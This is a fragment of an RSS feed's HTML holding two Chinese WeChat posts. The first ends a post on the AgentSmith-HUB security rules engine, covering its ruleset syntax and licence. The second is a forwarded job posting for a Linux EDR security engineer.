src="https://wechat2rss.xlab.app/img-proxy/?k=304146c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzibSiaZumo8AdWg7gWx4trCoichngCvmicmvP8WbBox7rict0DOyMn8WuFcpE3LdjHvUUvadRicYqgvLGg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px 0px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: 0.5px;">Plugin Test:</span></span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000778" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7824074074074074" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=e3c42d85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzibSiaZumo8AdWg7gWx4trCoQp7GwcrjJFsZicTssboErqtwictsmp1VZL4aPYI1yh2JsNpGFdrCEqcQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px 0px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: 0.5px;">Search:</span></span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000779" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4925925925925926" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=6e244e54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzibSiaZumo8AdWg7gWx4trCobd3DvwN2sYp8mW4QHubMf4t510pjkeicw351WaMricD9mvdRA5HFrJLQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px 0px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: 0.5px;">Errlog:</span></span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000780" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7814814814814814" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=14161862&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzibSiaZumo8AdWg7gWx4trCodf9Lu9Q1cevSMQ8pxjkiceeyL72Kga8PScVdZPCRTgFd8oanBjRyicjQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px 0px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: 0.5px;">Operations:</span></span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000781" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7814814814814814" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=f4073363&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzibSiaZumo8AdWg7gWx4trCoZiaO5pCP1nicribSibUnqcPNK0GVPjtd4ia54xMwJphauY6SBEYMMu7KgJA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px 0px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: 0.5px;">MCP:</span></span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000782" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.8842592592592593" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=ca11e1b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzibSiaZumo8AdWg7gWx4trCoxlibHeJXf6haoESCySXs31E1kGeQ8tAdic4TN23GNACTIEPjleTCVuKg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;min-height: 1em;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: #4e4e4e;line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 24px;box-sizing: border-box !important;padding-left:4px;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;label&#34;:&#34;Converted by KNB Formatter from Jason Ng https://knb.im/mp&#34;,&#34;style&#34;:&#34;line-height: 25.6px;min-height: 1em;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width: 100%;color: #4e4e4e;line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;em&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width: 100%;font-size: 24px;box-sizing: border-box !important;padding-left:4px;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 0.5px;font-style: normal;">4. Ruleset Example</span></span></span></em></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;min-height: 1em;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: #4e4e4e;line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 24px;box-sizing: border-box !important;padding-left:4px;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;label&#34;:&#34;Converted by KNB Formatter from Jason Ng https://knb.im/mp&#34;,&#34;style&#34;:&#34;line-height: 25.6px;min-height: 1em;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width: 100%;color: #4e4e4e;line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;em&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width: 100%;font-size: 24px;box-sizing: border-box !important;padding-left:4px;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><br/></span></span></em></strong></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000783" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5462962962962963" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=0041d847&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzibSiaZumo8AdWg7gWx4trConUjtA3eqMjhrFiaxUicibFZnAQP8veibSJ6uaficfE1HjhibBwGdsP1KsDYQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;min-height: 1em;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: #4e4e4e;line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 24px;box-sizing: border-box !important;padding-left:4px;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;label&#34;:&#34;Converted by KNB Formatter from Jason Ng https://knb.im/mp&#34;,&#34;style&#34;:&#34;line-height: 25.6px;min-height: 1em;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width: 100%;color: #4e4e4e;line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;em&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width: 100%;font-size: 24px;box-sizing: border-box !important;padding-left:4px;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><br/></span></span></em></strong></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000784" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5453703703703704" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=323ccb4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzibSiaZumo8AdWg7gWx4trCo75e1yBMF9whZlhTDK4GnDRzPYGtIm8x8KbUKGy5icqYUU6xaozLRvng%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;" data-pm-slice="0 0 []"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">从这里可以看到，实际上 HUB 的 Ruleset 语法非常简单，就是通过以下的组合进行检测和对数据的操作：</span></span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li style="letter-spacing:normal;font-size:14px;"><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 0px 20px 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="background-color: rgb(232, 238, 249);white-space: pre-wrap;display: inline;font-weight: normal;padding: 0px 2px;border: 1px solid rgb(166, 189, 231);border-radius: 2px;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">&lt;check&gt;</span></span></span><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">: 检测使用，支持常见的正则、字符串匹配、数值比较、自定义插件等操作；</span></span></span></p></li><li style="letter-spacing:normal;font-size:14px;"><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 0px 20px 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="background-color: rgb(232, 238, 249);white-space: pre-wrap;display: inline;font-weight: normal;padding: 0px 2px;border: 1px solid rgb(166, 189, 231);border-radius: 2px;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">&lt;checklist&gt;</span></span></span><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">：检测使用，支持对</span></span><span style="background-color: rgb(232, 238, 249);white-space: pre-wrap;display: inline;font-weight: normal;padding: 0px 2px;border: 1px solid rgb(166, 189, 231);border-radius: 2px;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">&lt;check&gt;</span></span></span><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">进行 and、or、not、和括号的逻辑运算符组合；</span></span></span></p></li><li style="letter-spacing:normal;font-size:14px;"><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 0px 20px 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="background-color: rgb(232, 238, 249);white-space: pre-wrap;display: inline;font-weight: normal;padding: 0px 2px;border: 1px solid rgb(166, 189, 231);border-radius: 2px;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">&lt;threshold&gt;</span></span></span><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">：检测使用，支持对数据进行频率统计和阈值判断；</span></span></span></p></li><li style="letter-spacing:normal;font-size:14px;"><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 0px 20px 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="background-color: rgb(232, 238, 249);white-space: pre-wrap;display: inline;font-weight: normal;padding: 0px 2px;border: 1px solid rgb(166, 189, 231);border-radius: 2px;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">&lt;append&gt;</span></span></span><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">：数据操作使用，支持对数据进行追加、修改等操作，支持自定义插件；</span></span></span></p></li><li style="letter-spacing:normal;font-size:14px;"><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 0px 20px 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="background-color: rgb(232, 238, 249);white-space: pre-wrap;display: inline;font-weight: normal;padding: 0px 2px;border: 1px solid rgb(166, 189, 231);border-radius: 2px;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">&lt;del&gt;</span></span></span><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">：数据操作使用，用于删除数据；</span></span></span></p></li><li style="letter-spacing:normal;font-size:14px;"><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 0px 20px 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="background-color: rgb(232, 238, 249);white-space: pre-wrap;display: inline;font-weight: normal;padding: 0px 2px;border: 1px solid rgb(166, 189, 231);border-radius: 2px;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">&lt;plugin&gt;</span></span></span><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">：调用自定义插件，常用于调用外部接口等操作；</span></span></span></p></li></ul><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">规则引擎的执行顺序是根据用户填写的顺序执行的比如：</span></span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li style="font-size:14px;letter-spacing:normal;"><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 0px 20px 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">先通过</span></span><span style="background-color: rgb(232, 238, 249);white-space: pre-wrap;display: inline;font-weight: normal;padding: 0px 2px;border: 1px solid rgb(166, 189, 231);border-radius: 2px;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">&lt;append&gt;</span></span></span><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;"> 对原始数据追加威胁情报数据，然后再通过 </span></span><span style="background-color: rgb(232, 238, 249);white-space: pre-wrap;display: inline;font-weight: normal;padding: 0px 2px;border: 1px solid rgb(166, 189, 231);border-radius: 2px;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">&lt;check&gt;</span></span></span><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;"> 对威胁情报内容进行评估；</span></span></span></p></li><li style="font-size:14px;letter-spacing:normal;"><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 0px 20px 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">先通过 </span></span><span style="background-color: rgb(232, 238, 249);white-space: pre-wrap;display: inline;font-weight: normal;padding: 0px 2px;border: 1px solid rgb(166, 189, 231);border-radius: 2px;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">&lt;check&gt;</span></span></span><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;"> 对原始数据进行检测，通过后再使用 </span></span><span style="background-color: rgb(232, 238, 249);white-space: pre-wrap;display: inline;font-weight: normal;padding: 0px 2px;border: 1px solid rgb(166, 189, 231);border-radius: 2px;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;">&lt;append&gt;</span></span></span><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: normal;"> 对数据进行富化。</span></span></span></p></li></ul><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">HUB 提供了简单、灵活的语法，可以很好的支持各种安全场景下的检测、数据或告警处理等需求。更详细的语法请查看项目内相关文档。</span></span></span></p></div><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;min-height: 1em;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: #4e4e4e;line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 24px;box-sizing: border-box !important;padding-left:4px;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;font-style: normal;">5. 开源协议</span></span></span></em></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px 0px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">Apache 2.0 以及补充条款，补充条款限制商用，具体请查看项目内License。</span></span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://github.com/EBWi11/AgentSmith-HUB">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e669ebe5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484433%26idx%3D1%26sn%3D4f8bb99bd1bdc258cbee9b719bed8551">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 31 Jul 2025 11:56:00 +0800</pubDate>
    </item>
    <item>
      <title>Linux EDR 工程师招聘</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484392&amp;idx=1&amp;sn=044b1e8ad3f03981ad99a12973529cc0</link>
      <description>帮好友转发，招聘Linux EDR同学，感兴趣的可以看看</description>
      <content:encoded><![CDATA[<p>
原创 <span>EBWill</span> <span>2025-05-09 17:28</span> <span style="display: inline-block;">上海</span>
</p>

<p>帮好友转发，招聘Linux EDR同学，感兴趣的可以看看</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=40cf9d36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjEESHeKDyVzOJhnI3o0JjADLH6bibyMbFbibCK29Tibgp5ydU3PNNZ1Dq1Ca6ccanO2JYdMWvgsGxTicTG6K9HUb1w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<article data-identifier-application__slash__x-doc-key="Q35O85XNBYApVl9V" data-pm-slice="0 0 []"><article data-clipboard-cangjie="[&#34;root&#34;,{},[&#34;p&#34;,{&#34;uuid&#34;:&#34;ma3py5kuii4sw5hmsli&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;highlight&#34;:&#34;rgb(250, 250, 250)&#34;,&#34;sz&#34;:10.5,&#34;szUnit&#34;:&#34;pt&#34;,&#34;color&#34;:&#34;rgb(0, 0, 0)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34;帮好友转发，招聘Linux EDR同学，感兴趣的可以看看：&#34;]]],[&#34;p&#34;,{&#34;uuid&#34;:&#34;maglauoys9tah4uwpj&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;highlight&#34;:&#34;rgb(250, 250, 250)&#34;,&#34;sz&#34;:10.5,&#34;szUnit&#34;:&#34;pt&#34;,&#34;color&#34;:&#34;rgb(0, 0, 0)&#34;,&#34;data-type&#34;:&#34;leaf&#34;},&#34;--&#34;]]]]" data-identifier-application__slash__x-doc-key="Q35O85XNBYApVl9V" data-pm-slice="0 0 []"><p style="text-align:left;text-indent:0;margin-left:0;margin-top:0;margin-bottom:0;"><span data-type="text" style="background-color:rgb(250, 250, 250);font-size:10.5pt;color:rgb(0, 0, 0);"><span leaf="">帮好友转发，招聘Linux EDR安全工程师，有兴趣的同学可以看看：</span></span></p><span leaf=""><br/></span></article><h3 style="font-size:14pt;line-height:85%;margin-top:18.666666666666664px;margin-bottom:8px;text-align:left;text-indent:0;margin-left:0;"><span data-type="text" style="font-weight:bold;font-size:14pt;"><span leaf="">通用技能</span></span></h3><ul style="list-style-type:disc;" class="list-paddingleft-1"><li><p><span data-type="text"><span leaf="">Linux系统基础：熟悉Linux的起源、发展、版本、文件系统结构等基础知识；</span></span></p></li><li><p><span data-type="text"><span leaf="">网络知识：掌握网络协议、IP地址、子网划分、路由和防火墙等网络基础知识；熟悉常见的网络服务，如DNS、FTP、HTTP、SMTP等的配置和管理</span></span></p></li><li><p><span data-type="text"><span leaf="">脚本编程：熟练掌握至少一种脚本编程，能够编写自动化脚本和任务调度脚本，提高工作效率。</span></span></p></li><li><p><span data-type="text"><span leaf="">安全防护和漏洞管理：了解常见的OWASP安全威胁和漏洞，掌握相应的安全防护措施和漏洞管理技术。</span></span></p></li><li><p><span data-type="text"><span leaf="">虚拟化和容器化技术：了解虚拟化技术（如VMware、KVM）和容器化技术（如Docker、Kubernetes），</span></span></p></li></ul><span data-type="text"></span><h3 style="font-size:14pt;line-height:85%;margin-top:18.666666666666664px;margin-bottom:8px;text-align:left;text-indent:0;margin-left:0;"><span data-type="text" style="font-weight:bold;font-size:14pt;"><span leaf="">运营技能</span></span></h3><ul style="list-style-type:disc;" class="list-paddingleft-1"><li><p><span data-type="text"><span leaf="">EDR相关技能：熟悉EDR技术原理和架构，了解主机代理功能研发、缺陷修复和疑难问题解决的方法。</span></span></p></li><li><p><span data-type="text"><span leaf="">EDR规则建设经验，对EDR系统的检测规则和响应策略 基于ATT&amp;CK模型进行优化和规则深挖,有对应规则准召提升和降噪经验。</span></span></p></li><li><p><span data-type="text"><span leaf="">入侵后linux服务器实时监控与检测和响应排查能力，能生成详细的安全事件溯源报告</span></span></p></li></ul><span data-type="text"></span><h3 style="font-size:14pt;line-height:85%;margin-top:18.666666666666664px;margin-bottom:8px;text-align:left;text-indent:0;margin-left:0;"><span data-type="text" style="font-weight:bold;font-size:14pt;"><span leaf="">学历要求</span></span></h3><p 